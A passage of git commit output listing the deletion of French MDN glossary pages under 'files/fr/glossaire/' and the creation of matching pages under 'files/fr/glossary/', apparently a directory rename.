"files/fr/glossaire/en-t\303\252te_de_r\303\251ponse_simple/index.html" delete mode 100644 "files/fr/glossaire/en-t\303\252te_entit\303\251/index.html" delete mode 100644 "files/fr/glossaire/en-t\303\252te_simple/index.html" delete mode 100644 "files/fr/glossaire/en-t\303\252tes_de_r\303\251ponse/index.html" delete mode 100644 files/fr/glossaire/encapsulation/index.html delete mode 100644 files/fr/glossaire/endianness/index.html delete mode 100644 files/fr/glossaire/engine/index.html delete mode 100644 files/fr/glossaire/entity/index.html delete mode 100644 files/fr/glossaire/environnement_de_document/index.html delete mode 100644 files/fr/glossaire/exception/index.html delete mode 100644 files/fr/glossaire/expando/index.html delete mode 100644 files/fr/glossaire/fai/index.html delete mode 100644 files/fr/glossaire/falsy/index.html delete mode 100644 files/fr/glossaire/favicon/index.html delete mode 100644 files/fr/glossaire/fermeture/index.html delete mode 100644 files/fr/glossaire/firefox_os/index.html delete mode 100644 files/fr/glossaire/first_contentful_paint/index.html delete mode 100644 files/fr/glossaire/first_meaningful_paint/index.html delete mode 100644 files/fr/glossaire/flex/index.html delete mode 100644 files/fr/glossaire/flex_container/index.html delete mode 100644 files/fr/glossaire/flex_item/index.html delete mode 100644 files/fr/glossaire/flexbox/index.html delete mode 100644 files/fr/glossaire/fonction/index.html delete mode 100644 files/fr/glossaire/fonction_anonyme_auto-executante/index.html delete mode 100644 files/fr/glossaire/fonction_de_hachage_cryptographique/index.html delete mode 100644 "files/fr/glossaire/fonction_de_premi\303\250re_classe/index.html" delete mode 100644 files/fr/glossaire/fonction_de_rappel/index.html delete mode 100644 files/fr/glossaire/forbidden_header_name/index.html delete mode 100644 files/fr/glossaire/forbidden_response_header_name/index.html delete mode 100644 files/fr/glossaire/fork/index.html delete mode 100644 files/fr/glossaire/ftp/index.html delete mode 100644 files/fr/glossaire/ftu/index.html delete mode 100644 files/fr/glossaire/gaia/index.html delete mode 100644 files/fr/glossaire/gecko/index.html delete mode 100644 files/fr/glossaire/general_header/index.html delete mode 100644 files/fr/glossaire/gif/index.html delete mode 100644 files/fr/glossaire/gij/index.html delete mode 100644 files/fr/glossaire/git/index.html delete mode 100644 files/fr/glossaire/glyphe/index.html delete mode 100644 files/fr/glossaire/gonk/index.html delete mode 100644 files/fr/glossaire/google_chrome/index.html delete mode 100644 files/fr/glossaire/gpl/index.html delete mode 100644 files/fr/glossaire/gpu/index.html delete mode 100644 files/fr/glossaire/graceful_degradation/index.html delete mode 100644 files/fr/glossaire/grid/index.html delete mode 100644 files/fr/glossaire/grid_container/index.html delete mode 100644 files/fr/glossaire/guard/index.html delete mode 100644 files/fr/glossaire/gutters/index.html delete mode 100644 files/fr/glossaire/gzip_compression/index.html delete mode 100644 files/fr/glossaire/hash/index.html delete mode 100644 files/fr/glossaire/header/index.html delete mode 100644 files/fr/glossaire/hmac/index.html delete mode 100644 files/fr/glossaire/hoisting/index.html delete mode 100644 files/fr/glossaire/host/index.html delete mode 100644 files/fr/glossaire/hotlink/index.html delete mode 100644 files/fr/glossaire/houdini/index.html delete mode 100644 files/fr/glossaire/hpkp/index.html delete mode 100644 files/fr/glossaire/hsts/index.html delete mode 100644 files/fr/glossaire/html/index.html delete mode 100644 files/fr/glossaire/html5/index.html delete mode 100644 files/fr/glossaire/http/index.html delete mode 100644 files/fr/glossaire/http_2/index.html delete mode 100644 files/fr/glossaire/http_3/index.html delete mode 100644 files/fr/glossaire/https/index.html delete mode 100644 files/fr/glossaire/hyperlien/index.html delete mode 100644 files/fr/glossaire/hypertexte/index.html delete mode 100644 "files/fr/glossaire/h\303\251ritage/index.html" delete mode 100644 files/fr/glossaire/i18n/index.html delete mode 100644 files/fr/glossaire/iana/index.html delete mode 100644 files/fr/glossaire/icann/index.html delete mode 100644 files/fr/glossaire/ice/index.html delete mode 100644 files/fr/glossaire/ide/index.html delete mode 100644 files/fr/glossaire/idempotent/index.html delete mode 100644 files/fr/glossaire/identifiant/index.html delete mode 100644 files/fr/glossaire/idl/index.html delete mode 100644 files/fr/glossaire/ietf/index.html delete mode 100644 files/fr/glossaire/iife/index.html delete mode 100644 files/fr/glossaire/image_matricielle/index.html delete mode 100644 files/fr/glossaire/imap/index.html delete mode 100644 files/fr/glossaire/immuable/index.html delete mode 100644 files/fr/glossaire/index.html delete mode 100644 files/fr/glossaire/index/index.html delete mode 100644 files/fr/glossaire/indexeddb/index.html delete mode 100644 files/fr/glossaire/injection_sql/index.html delete mode 100644 files/fr/glossaire/input_method_editor/index.html delete mode 100644 files/fr/glossaire/instance/index.html delete mode 100644 files/fr/glossaire/intergiciel/index.html delete mode 100644 files/fr/glossaire/internationalisation_et_localisation/index.html delete mode 100644 files/fr/glossaire/internet/index.html delete mode 100644 files/fr/glossaire/ip_address/index.html delete mode 100644 files/fr/glossaire/ipv4/index.html delete mode 100644 files/fr/glossaire/ipv6/index.html delete mode 100644 files/fr/glossaire/irc/index.html delete mode 100644 files/fr/glossaire/iso/index.html delete mode 100644 files/fr/glossaire/itu/index.html delete mode 100644 files/fr/glossaire/jank/index.html delete mode 100644 files/fr/glossaire/java/index.html delete mode 100644 files/fr/glossaire/javascript/index.html delete mode 100644 files/fr/glossaire/jpeg/index.html delete mode 100644 files/fr/glossaire/jquery/index.html delete mode 100644 files/fr/glossaire/json/index.html delete mode 100644 files/fr/glossaire/keyword/index.html delete mode 100644 files/fr/glossaire/langage_de_programmation_de_haut_niveau/index.html delete mode 100644 files/fr/glossaire/langage_de_programmation_dynamique/index.html delete mode 100644 files/fr/glossaire/latence/index.html delete mode 100644 files/fr/glossaire/lazy_load/index.html delete mode 100644 files/fr/glossaire/lgpl/index.html delete mode 100644 files/fr/glossaire/ligature/index.html delete mode 100644 files/fr/glossaire/ligne_de_base/index.html delete mode 100644 files/fr/glossaire/lignes_de_grille_(lines)/index.html delete mode 100644 files/fr/glossaire/lignes_de_grille_(row)/index.html delete mode 100644 files/fr/glossaire/locale/index.html delete mode 100644 files/fr/glossaire/loop/index.html delete mode 100644 files/fr/glossaire/ltr/index.html delete mode 100644 "files/fr/glossaire/machine_d_\303\251tat/index.html" delete mode 100644 files/fr/glossaire/mathml/index.html delete mode 100644 files/fr/glossaire/media/css/index.html delete mode 100644 files/fr/glossaire/media/index.html delete mode 100644 files/fr/glossaire/microsoft_edge/index.html delete mode 100644 files/fr/glossaire/microsoft_internet_explorer/index.html delete mode 100644 files/fr/glossaire/mime/index.html delete mode 100644 files/fr/glossaire/minification/index.html delete mode 100644 files/fr/glossaire/mitm/index.html delete mode 100644 files/fr/glossaire/mixin/index.html delete mode 100644 files/fr/glossaire/mobile_d_abord/index.html delete mode 100644 files/fr/glossaire/modem/index.html delete mode 100644 "files/fr/glossaire/modularit\303\251/index.html" delete mode 100644 files/fr/glossaire/moment_de_compilation/index.html delete mode 100644 files/fr/glossaire/moteur_de_recherche/index.html delete mode 100644 files/fr/glossaire/moteur_de_rendu/index.html delete mode 100644 files/fr/glossaire/mozilla_firefox/index.html delete mode 100644 files/fr/glossaire/muable/index.html delete mode 100644 files/fr/glossaire/mvc/index.html delete mode 100644 "files/fr/glossaire/m\303\251tadonn\303\251e/index.html" delete mode 100644 "files/fr/glossaire/m\303\251thode/index.html" delete mode 100644 files/fr/glossaire/namespace/index.html delete mode 100644 files/fr/glossaire/nan/index.html delete mode 100644 files/fr/glossaire/nat/index.html delete mode 100644 files/fr/glossaire/native/index.html delete mode 100644 files/fr/glossaire/navigateur/index.html delete mode 100644 files/fr/glossaire/netscape_navigator/index.html delete mode 100644 files/fr/glossaire/nntp/index.html delete mode 100644 files/fr/glossaire/node.js/index.html delete mode 100644 files/fr/glossaire/nom_de_domaine/index.html delete mode 100644 "files/fr/glossaire/noms_r\303\251serv\303\251s/index.html" delete mode 100644 files/fr/glossaire/non-normative/index.html delete mode 100644 files/fr/glossaire/normative/index.html delete mode 100644 files/fr/glossaire/null/index.html delete mode 100644 files/fr/glossaire/number/index.html delete mode 100644 files/fr/glossaire/objet/index.html delete mode 100644 files/fr/glossaire/objet_global/index.html delete mode 100644 files/fr/glossaire/objet_parent/index.html delete mode 100644 files/fr/glossaire/opengl/index.html delete mode 100644 files/fr/glossaire/openssl/index.html delete mode 100644 files/fr/glossaire/opera_browser/index.html delete mode 100644 files/fr/glossaire/operand/index.html delete mode 100644 files/fr/glossaire/operator/index.html delete mode 100644 files/fr/glossaire/ordre_canonique/index.html delete mode 100644 files/fr/glossaire/origine/index.html delete mode 100644 files/fr/glossaire/ota/index.html delete mode 100644 files/fr/glossaire/owasp/index.html delete mode 100644 files/fr/glossaire/p2p/index.html delete mode 100644 files/fr/glossaire/pac/index.html delete mode 100644 files/fr/glossaire/paquet/index.html delete mode 100644 files/fr/glossaire/parameter/index.html delete mode 100644 files/fr/glossaire/pare-feu/index.html delete mode 100644 files/fr/glossaire/parse/index.html delete mode 100644 files/fr/glossaire/parser/index.html delete mode 100644 files/fr/glossaire/pdf/index.html delete mode 100644 files/fr/glossaire/percent-encoding/index.html delete mode 100644 files/fr/glossaire/php/index.html delete mode 100644 "files/fr/glossaire/pile_d_ex\303\251cution/index.html" delete mode 100644 files/fr/glossaire/pistes_de_grille/index.html delete mode 100644 files/fr/glossaire/pixel/index.html delete mode 100644 files/fr/glossaire/pixel_css/index.html delete mode 100644 files/fr/glossaire/png/index.html delete mode 100644 files/fr/glossaire/polyfill/index.html delete mode 100644 files/fr/glossaire/polymorphisme/index.html delete mode 100644 files/fr/glossaire/poo/index.html delete mode 100644 files/fr/glossaire/pop/index.html delete mode 100644 files/fr/glossaire/port/index.html delete mode 100644 "files/fr/glossaire/port\303\251e/index.html" delete mode 100644 "files/fr/glossaire/port\303\251e_globale/index.html" delete mode 100644 "files/fr/glossaire/port\303\251e_locale/index.html" delete mode 100644 files/fr/glossaire/preprocesseur_css/index.html delete mode 100644 files/fr/glossaire/presto/index.html delete mode 100644 files/fr/glossaire/primitive/index.html delete mode 100644 files/fr/glossaire/privileged_code/index.html delete mode 100644 "files/fr/glossaire/privil\303\251gi\303\251/index.html" delete mode 100644 "files/fr/glossaire/programmation_orient\303\251e_prototype/index.html" delete mode 100644 files/fr/glossaire/progressive_web_apps/index.html delete mode 100644 files/fr/glossaire/promesse/index.html delete mode 100644 files/fr/glossaire/propriete_css/index.html delete mode 100644 files/fr/glossaire/protocol/index.html delete mode 100644 files/fr/glossaire/prototype/index.html delete mode 100644 "files/fr/glossaire/pr\303\251fixe_vendeur/index.html" delete mode 100644 files/fr/glossaire/pseudo-classe/index.html delete mode 100644 files/fr/glossaire/pseudo-code/index.html delete mode 100644 "files/fr/glossaire/pseudo-\303\251l\303\251ment/index.html" delete mode 100644 files/fr/glossaire/python/index.html delete mode 100644 files/fr/glossaire/quality_values/index.html delete mode 100644 files/fr/glossaire/quic/index.html delete mode 100644 files/fr/glossaire/rail/index.html delete mode 100644 files/fr/glossaire/ramasse-miettes/index.html delete mode 100644 files/fr/glossaire/rdf/index.html delete mode 100644 files/fr/glossaire/real_user_monitoring/index.html delete mode 100644 files/fr/glossaire/rectangle_limitation_minimum/index.html delete mode 100644 files/fr/glossaire/reflow/index.html delete mode 100644 files/fr/glossaire/regular_expression/index.html delete mode 100644 files/fr/glossaire/requete_pre-verification/index.html delete mode 100644 files/fr/glossaire/responsive_web_design/index.html delete mode 100644 files/fr/glossaire/rest/index.html delete mode 100644 files/fr/glossaire/rgb/index.html delete mode 100644 files/fr/glossaire/ril/index.html delete mode 100644 files/fr/glossaire/rng/index.html delete mode 100644 files/fr/glossaire/robot_d_indexation/index.html delete mode 100644 files/fr/glossaire/robots.txt/index.html delete mode 100644 files/fr/glossaire/rss/index.html delete mode 100644 files/fr/glossaire/rtf/index.html delete mode 100644 files/fr/glossaire/rtl/index.html delete mode 100644 files/fr/glossaire/rtp/index.html delete mode 100644 files/fr/glossaire/ruby/index.html delete mode 100644 "files/fr/glossaire/r\303\251cursion/index.html" delete mode 100644 "files/fr/glossaire/r\303\251f\303\251rence/index.html" delete mode 100644 "files/fr/glossaire/r\303\251f\303\251rence_d_objet/index.html" delete mode 100644 files/fr/glossaire/same-origin_policy/index.html delete mode 100644 files/fr/glossaire/scm/index.html delete mode 100644 files/fr/glossaire/sctp/index.html delete mode 100644 files/fr/glossaire/sdp/index.html delete mode 100644 files/fr/glossaire/seo/index.html delete mode 100644 files/fr/glossaire/serveur/index.html delete mode 100644 files/fr/glossaire/serveur_proxy/index.html delete mode 100644 files/fr/glossaire/serveur_web/index.html delete mode 100644 files/fr/glossaire/shim/index.html delete mode 100644 files/fr/glossaire/signature/fonction/index.html delete mode 100644 files/fr/glossaire/signature/index.html delete mode 100644 "files/fr/glossaire/signature/s\303\251curit\303\251/index.html" delete mode 100644 files/fr/glossaire/simd/index.html delete mode 100644 files/fr/glossaire/sisd/index.html delete mode 100644 files/fr/glossaire/site/index.html delete mode 100644 files/fr/glossaire/site_map/index.html delete mode 100644 files/fr/glossaire/sld/index.html delete mode 100644 files/fr/glossaire/sloppy_mode/index.html delete mode 100644 files/fr/glossaire/slug/index.html delete mode 100644 files/fr/glossaire/smtp/index.html delete mode 100644 files/fr/glossaire/soap/index.html delete mode 100644 files/fr/glossaire/specification/index.html delete mode 100644 files/fr/glossaire/sql/index.html delete mode 100644 files/fr/glossaire/sri/index.html delete mode 100644 files/fr/glossaire/ssl_glossary/index.html delete mode 100644 files/fr/glossaire/statement/index.html delete mode 100644 files/fr/glossaire/string/index.html delete mode 100644 "files/fr/glossaire/structure_de_contr\303\264le/index.html" delete mode 100644 "files/fr/glossaire/structure_de_donn\303\251es/index.html" delete mode 100644 files/fr/glossaire/stun/index.html delete mode 100644 files/fr/glossaire/suite_de_chiffrement/index.html delete mode 100644 files/fr/glossaire/svg/index.html delete mode 100644 files/fr/glossaire/svn/index.html delete mode 100644 files/fr/glossaire/symbole/index.html delete mode 100644 files/fr/glossaire/synchronous/index.html delete mode 100644 files/fr/glossaire/syntax_error/index.html delete mode 100644 files/fr/glossaire/syntaxe/index.html delete mode 100644 "files/fr/glossaire/s\303\251curis\303\251e/index.html" delete mode 100644 "files/fr/glossaire/s\303\251lecteur_css/index.html" delete mode 100644 "files/fr/glossaire/s\303\251mantique/index.html" delete mode 100644 "files/fr/glossaire/s\303\251rialisation/index.html" delete mode 100644 files/fr/glossaire/tampon/index.html delete mode 100644 files/fr/glossaire/tcp/index.html delete mode 100644 files/fr/glossaire/tcp_handshake/index.html delete mode 100644 files/fr/glossaire/tcp_slow_start/index.html delete mode 100644 files/fr/glossaire/telnet/index.html delete mode 100644 "files/fr/glossaire/test_de_fum\303\251e/index.html" delete mode 100644 files/fr/glossaire/texel/index.html delete mode 100644 files/fr/glossaire/texte_brut/index.html delete mode 100644 files/fr/glossaire/three_js/index.html delete mode 100644 files/fr/glossaire/time_to_interactive/index.html delete mode 100644 files/fr/glossaire/tld/index.html delete mode 100644 files/fr/glossaire/tls/index.html delete mode 100644 files/fr/glossaire/tofu/index.html delete mode 100644 files/fr/glossaire/transmission_control_protocol_(tcp)/index.html delete mode 100644 files/fr/glossaire/tree_shaking/index.html delete mode 100644 files/fr/glossaire/tri_par_cartes/index.html delete mode 100644 files/fr/glossaire/trident/index.html delete mode 100644 files/fr/glossaire/truthy/index.html delete mode 100644 files/fr/glossaire/ttl/index.html delete mode 100644 files/fr/glossaire/turn/index.html delete mode 100644 files/fr/glossaire/typage_dynamique/index.html delete mode 100644 files/fr/glossaire/typage_statique/index.html delete mode 100644 files/fr/glossaire/type/index.html delete mode 100644 files/fr/glossaire/type_coercion/index.html delete mode 100644 files/fr/glossaire/type_mime/index.html delete mode 100644 files/fr/glossaire/udp/index.html delete mode 100644 files/fr/glossaire/ui/index.html delete mode 100644 files/fr/glossaire/undefined/index.html delete mode 100644 files/fr/glossaire/unicode/index.html delete mode 100644 files/fr/glossaire/uri/index.html delete mode 100644 files/fr/glossaire/url/index.html delete mode 100644 files/fr/glossaire/urn/index.html delete mode 100644 files/fr/glossaire/usenet/index.html delete mode 100644 files/fr/glossaire/user_agent/index.html delete mode 100644 files/fr/glossaire/utf-8/index.html delete mode 100644 files/fr/glossaire/ux/index.html delete mode 100644 files/fr/glossaire/valeur/index.html delete mode 100644 files/fr/glossaire/validator/index.html delete mode 100644 files/fr/glossaire/variable/index.html delete mode 100644 files/fr/glossaire/variable_globale/index.html delete mode 100644 files/fr/glossaire/variable_locale/index.html delete mode 100644 files/fr/glossaire/viewport/index.html delete mode 100644 files/fr/glossaire/voip/index.html delete mode 100644 files/fr/glossaire/w3c/index.html delete mode 100644 files/fr/glossaire/wai/index.html delete mode 100644 files/fr/glossaire/wcag/index.html delete mode 100644 files/fr/glossaire/web_standards/index.html delete mode 100644 files/fr/glossaire/webdav/index.html delete mode 100644 files/fr/glossaire/webextensions/index.html delete mode 100644 files/fr/glossaire/webgl/index.html delete mode 100644 files/fr/glossaire/webidl/index.html delete mode 100644 files/fr/glossaire/webkit/index.html delete mode 100644 files/fr/glossaire/webm/index.html delete mode 100644 files/fr/glossaire/webp/index.html delete mode 100644 files/fr/glossaire/webrtc/index.html delete mode 100644 files/fr/glossaire/websockets/index.html delete mode 100644 files/fr/glossaire/webvtt/index.html delete mode 100644 files/fr/glossaire/whatwg/index.html delete mode 100644 files/fr/glossaire/whitespace/index.html delete mode 100644 files/fr/glossaire/world_wide_web/index.html delete mode 100644 files/fr/glossaire/wrapper/index.html delete mode 100644 files/fr/glossaire/xform/index.html delete mode 100644 files/fr/glossaire/xhr_(xmlhttprequest)/index.html delete mode 100644 files/fr/glossaire/xinclude/index.html delete mode 100644 files/fr/glossaire/xlink/index.html delete mode 100644 files/fr/glossaire/xml/index.html delete mode 100644 files/fr/glossaire/xpath/index.html delete mode 100644 files/fr/glossaire/xquery/index.html delete mode 100644 files/fr/glossaire/xslt/index.html delete mode 100644 files/fr/glossaire/zones_de_grille/index.html delete mode 100644 "files/fr/glossaire/\303\251l\303\251ment/index.html" delete mode 100644 "files/fr/glossaire/\303\251l\303\251ments_supports_de_script/index.html" delete mode 100644 "files/fr/glossaire/\303\251v\303\250nement/index.html" create mode 100644 files/fr/glossary/404/index.html create mode 100644 files/fr/glossary/502/index.html create mode 100644 files/fr/glossary/abstraction/index.html create mode 100644 files/fr/glossary/accessibility/index.html create mode 100644 files/fr/glossary/adobe_flash/index.html create mode 100644 files/fr/glossary/ajax/index.html create mode 100644 files/fr/glossary/algorithm/index.html create mode 100644 files/fr/glossary/alignment_container/index.html create mode 100644 files/fr/glossary/alignment_subject/index.html create mode 100644 files/fr/glossary/alpn/index.html create mode 100644 files/fr/glossary/api/index.html create mode 100644 files/fr/glossary/apple_safari/index.html create mode 100644 files/fr/glossary/application_context/index.html create mode 100644 files/fr/glossary/argument/index.html create mode 100644 files/fr/glossary/aria/index.html create mode 100644 files/fr/glossary/arpa/index.html create mode 100644 files/fr/glossary/arpanet/index.html create mode 100644 files/fr/glossary/array/index.html create mode 100644 files/fr/glossary/ascii/index.html create mode 100644 files/fr/glossary/asynchronous/index.html create mode 100644 files/fr/glossary/atag/index.html create mode 100644 files/fr/glossary/attribute/index.html create mode 100644 files/fr/glossary/bandwidth/index.html create mode 100644 files/fr/glossary/base64/index.html create mode 100644 files/fr/glossary/baseline/index.html create mode 100644 files/fr/glossary/beacon/index.html create mode 100644 files/fr/glossary/bidi/index.html create mode 100644 files/fr/glossary/bigint/index.html create mode 100644 files/fr/glossary/blink/index.html delete mode 100644 files/fr/glossary/block/block_(css)/index.html create mode 100644 files/fr/glossary/block/css/index.html create mode 100644 files/fr/glossary/block_cipher_mode_of_operation/index.html create mode 100644 files/fr/glossary/boolean/index.html create mode 100644 files/fr/glossary/boot2gecko/index.html create mode 100644 files/fr/glossary/bootstrap/index.html create mode 100644 files/fr/glossary/bounding_box/index.html create mode 100644 files/fr/glossary/breadcrumb/index.html create mode 100644 files/fr/glossary/brotli_compression/index.html create mode 100644 files/fr/glossary/browser/index.html create mode 100644 files/fr/glossary/browsing_context/index.html create mode 100644 files/fr/glossary/buffer/index.html create mode 100644 "files/fr/glossary/b\303\251zier_curve/index.html" create mode 100644 files/fr/glossary/cache/index.html create mode 100644 files/fr/glossary/cacheable/index.html create mode 100644 files/fr/glossary/caldav/index.html create mode 100644 files/fr/glossary/call_stack/index.html create mode 100644 files/fr/glossary/callback_function/index.html create mode 100644 files/fr/glossary/canonical_order/index.html create mode 100644 files/fr/glossary/canvas/index.html create mode 100644 files/fr/glossary/card_sorting/index.html create mode 100644 files/fr/glossary/carddav/index.html create mode 100644 files/fr/glossary/caret/index.html create mode 100644 files/fr/glossary/cdn/index.html create mode 100644 files/fr/glossary/certificate_authority/index.html create mode 100644 files/fr/glossary/certified/index.html create mode 100644 files/fr/glossary/challenge/index.html create mode 100644 files/fr/glossary/character/index.html create mode 100644 files/fr/glossary/character_encoding/index.html create mode 100644 files/fr/glossary/chrome/index.html create mode 100644 files/fr/glossary/cia/index.html create mode 100644 files/fr/glossary/cipher/index.html create mode 100644 files/fr/glossary/cipher_suite/index.html create mode 100644 files/fr/glossary/ciphertext/index.html create mode 100644 files/fr/glossary/class/index.html create mode 100644 files/fr/glossary/closure/index.html create mode 100644 files/fr/glossary/cms/index.html create mode 100644 files/fr/glossary/codec/index.html create mode 100644 files/fr/glossary/compile/index.html create mode 100644 files/fr/glossary/compile_time/index.html create mode 100644 files/fr/glossary/computer_programming/index.html create mode 100644 files/fr/glossary/conditional/index.html create mode 100644 files/fr/glossary/constant/index.html create mode 100644 files/fr/glossary/constructor/index.html create mode 100644 files/fr/glossary/control_flow/index.html create mode 100644 files/fr/glossary/cookie/index.html create mode 100644 files/fr/glossary/copyleft/index.html create mode 100644 files/fr/glossary/cors/index.html create mode 100644 files/fr/glossary/crawler/index.html create mode 100644 files/fr/glossary/crlf/index.html create mode 100644 files/fr/glossary/cross-site_scripting/index.html create mode 100644 files/fr/glossary/cross_axis/index.html create mode 100644 files/fr/glossary/crud/index.html create mode 100644 files/fr/glossary/cryptanalysis/index.html create mode 100644 files/fr/glossary/cryptographic_hash_function/index.html create mode 100644 files/fr/glossary/cryptography/index.html create mode 100644 files/fr/glossary/csp/index.html create mode 100644 files/fr/glossary/csrf/index.html create mode 100644 files/fr/glossary/css/index.html create mode 100644 files/fr/glossary/css_pixel/index.html create mode 100644 files/fr/glossary/css_preprocessor/index.html create mode 100644 files/fr/glossary/css_selector/index.html create mode 100644 files/fr/glossary/data_structure/index.html create mode 100644 files/fr/glossary/decryption/index.html create mode 100644 files/fr/glossary/delta/index.html create mode 100644 files/fr/glossary/denial_of_service/index.html create mode 100644 files/fr/glossary/descriptor_(css)/index.html create mode 100644 files/fr/glossary/deserialization/index.html create mode 100644 files/fr/glossary/developer_tools/index.html create mode 100644 files/fr/glossary/dhtml/index.html create mode 100644 files/fr/glossary/digest/index.html create mode 100644 files/fr/glossary/digital_certificate/index.html create mode 100644 files/fr/glossary/distributed_denial_of_service/index.html create mode 100644 files/fr/glossary/dmz/index.html create mode 100644 files/fr/glossary/dns/index.html create mode 100644 files/fr/glossary/doctype/index.html create mode 100644 files/fr/glossary/document_directive/index.html create mode 100644 files/fr/glossary/document_environment/index.html create mode 100644 files/fr/glossary/dom/index.html create mode 100644 files/fr/glossary/domain/index.html create mode 100644 files/fr/glossary/domain_name/index.html create mode 100644 files/fr/glossary/dominator/index.html create mode 100644 files/fr/glossary/dos_attack/index.html create mode 100644 files/fr/glossary/dtmf/index.html create mode 100644 files/fr/glossary/dynamic_programming_language/index.html create mode 100644 files/fr/glossary/dynamic_typing/index.html create mode 100644 files/fr/glossary/ecma/index.html create mode 100644 files/fr/glossary/ecmascript/index.html create mode 100644 files/fr/glossary/element/index.html create mode 100644 files/fr/glossary/empty_element/index.html create mode 100644 files/fr/glossary/encapsulation/index.html create mode 100644 files/fr/glossary/encryption/index.html create mode 100644 files/fr/glossary/endianness/index.html create mode 100644 files/fr/glossary/engine/index.html create mode 100644 files/fr/glossary/entity/index.html create mode 100644 files/fr/glossary/entity_header/index.html create mode 100644 files/fr/glossary/event/index.html create mode 100644 files/fr/glossary/exception/index.html create mode 100644 files/fr/glossary/expando/index.html create mode 100644 files/fr/glossary/falsy/index.html create mode 100644 files/fr/glossary/favicon/index.html create mode 100644 files/fr/glossary/fetch_directive/index.html create mode 100644 files/fr/glossary/firefox_os/index.html create mode 100644 files/fr/glossary/firewall/index.html create mode 100644 files/fr/glossary/first-class_function/index.html create mode 100644 files/fr/glossary/first_contentful_paint/index.html create mode 100644 files/fr/glossary/first_meaningful_paint/index.html create mode 100644 files/fr/glossary/flex/index.html create mode 100644 files/fr/glossary/flex_container/index.html create mode 100644 files/fr/glossary/flex_item/index.html create mode 100644 files/fr/glossary/flexbox/index.html create mode 100644 files/fr/glossary/forbidden_header_name/index.html create mode 100644 files/fr/glossary/forbidden_response_header_name/index.html create mode 100644 files/fr/glossary/fork/index.html create mode 100644 files/fr/glossary/ftp/index.html create mode 100644 files/fr/glossary/ftu/index.html create mode 100644 files/fr/glossary/function/index.html create mode 100644 files/fr/glossary/gaia/index.html create mode 100644 files/fr/glossary/garbage_collection/index.html create mode 100644 files/fr/glossary/gecko/index.html create mode 100644 files/fr/glossary/general_header/index.html create mode 100644 files/fr/glossary/gif/index.html create mode 100644 files/fr/glossary/gij/index.html create mode 100644 files/fr/glossary/git/index.html create mode 100644 files/fr/glossary/global_object/index.html create mode 100644 files/fr/glossary/global_scope/index.html create mode 100644 files/fr/glossary/global_variable/index.html create mode 100644 files/fr/glossary/glyph/index.html create mode 100644 files/fr/glossary/gonk/index.html create mode 100644 files/fr/glossary/google_chrome/index.html create mode 100644 files/fr/glossary/gpl/index.html create mode 100644 files/fr/glossary/gpu/index.html create mode 100644 files/fr/glossary/graceful_degradation/index.html create mode 100644 files/fr/glossary/grid/index.html create mode 100644 files/fr/glossary/grid_areas/index.html create mode 100644 files/fr/glossary/grid_axis/index.html create mode 100644 files/fr/glossary/grid_cell/index.html create mode 100644 files/fr/glossary/grid_column/index.html create mode 100644 files/fr/glossary/grid_container/index.html create mode 100644 files/fr/glossary/grid_lines/index.html create mode 100644 files/fr/glossary/grid_rows/index.html create mode 100644 files/fr/glossary/grid_tracks/index.html create mode 100644 files/fr/glossary/guard/index.html create mode 100644 files/fr/glossary/gutters/index.html create mode 100644 files/fr/glossary/gzip_compression/index.html create mode 100644 files/fr/glossary/hash/index.html create mode 100644 files/fr/glossary/head/index.html create mode 100644 files/fr/glossary/high-level_programming_language/index.html create mode 100644 files/fr/glossary/hmac/index.html create mode 100644 files/fr/glossary/hoisting/index.html create mode 100644 files/fr/glossary/host/index.html create mode 100644 files/fr/glossary/hotlink/index.html create mode 100644 files/fr/glossary/houdini/index.html create mode 100644 files/fr/glossary/hpkp/index.html create mode 100644 files/fr/glossary/hsts/index.html create mode 100644 files/fr/glossary/html/index.html create mode 100644 files/fr/glossary/html5/index.html create mode 100644 files/fr/glossary/http/index.html create mode 100644 files/fr/glossary/http_2/index.html create mode 100644 files/fr/glossary/http_3/index.html create mode 100644 files/fr/glossary/http_header/index.html create mode 100644 files/fr/glossary/https/index.html create mode 100644 files/fr/glossary/hyperlink/index.html create mode 100644 files/fr/glossary/hypertext/index.html create mode 100644 files/fr/glossary/i18n/index.html create mode 100644 files/fr/glossary/iana/index.html create mode 100644 files/fr/glossary/icann/index.html create mode 100644 files/fr/glossary/ice/index.html create mode 100644 files/fr/glossary/ide/index.html create mode 100644 files/fr/glossary/idempotent/index.html create mode 100644 files/fr/glossary/identifier/index.html create mode 100644 files/fr/glossary/idl/index.html create mode 100644 files/fr/glossary/ietf/index.html create mode 100644 files/fr/glossary/iife/index.html create mode 100644 files/fr/glossary/imap/index.html create mode 100644 files/fr/glossary/immutable/index.html create mode 100644 files/fr/glossary/index.html create mode 100644 files/fr/glossary/index/index.html create mode 100644 files/fr/glossary/indexeddb/index.html create mode 100644 files/fr/glossary/information_architecture/index.html create mode 100644 files/fr/glossary/inheritance/index.html create mode 100644 files/fr/glossary/input_method_editor/index.html create mode 100644 files/fr/glossary/instance/index.html create mode 100644 files/fr/glossary/internationalization_and_localization/index.html create mode 100644 files/fr/glossary/internet/index.html create mode 100644 files/fr/glossary/ip_address/index.html create mode 100644 files/fr/glossary/ipv4/index.html create mode 100644 files/fr/glossary/ipv6/index.html create mode 100644 files/fr/glossary/irc/index.html create mode 100644 files/fr/glossary/iso/index.html create mode 100644 files/fr/glossary/isp/index.html create mode 100644 files/fr/glossary/itu/index.html create mode 100644 files/fr/glossary/jank/index.html create mode 100644 files/fr/glossary/java/index.html create mode 100644 files/fr/glossary/javascript/index.html create mode 100644 files/fr/glossary/jpeg/index.html create mode 100644 files/fr/glossary/jquery/index.html create mode 100644 files/fr/glossary/json/index.html create mode 100644 files/fr/glossary/key/index.html create mode 100644 files/fr/glossary/keyword/index.html create mode 100644 files/fr/glossary/latency/index.html create mode 100644 files/fr/glossary/lazy_load/index.html create mode 100644 files/fr/glossary/lgpl/index.html create mode 100644 files/fr/glossary/ligature/index.html create mode 100644 files/fr/glossary/local_scope/index.html create mode 100644 files/fr/glossary/local_variable/index.html create mode 100644 files/fr/glossary/locale/index.html create mode 100644 files/fr/glossary/localization/index.html create mode 100644 files/fr/glossary/loop/index.html create mode 100644 files/fr/glossary/lossless_compression/index.html create mode 100644 files/fr/glossary/lossy_compression/index.html create mode 100644 files/fr/glossary/ltr/index.html create mode 100644 files/fr/glossary/main_axis/index.html create mode 100644 files/fr/glossary/mathml/index.html create mode 100644 files/fr/glossary/media/css/index.html create mode 100644 files/fr/glossary/media/index.html create mode 100644 files/fr/glossary/metadata/index.html create mode 100644 files/fr/glossary/method/index.html create mode 100644 files/fr/glossary/microsoft_edge/index.html create mode 100644 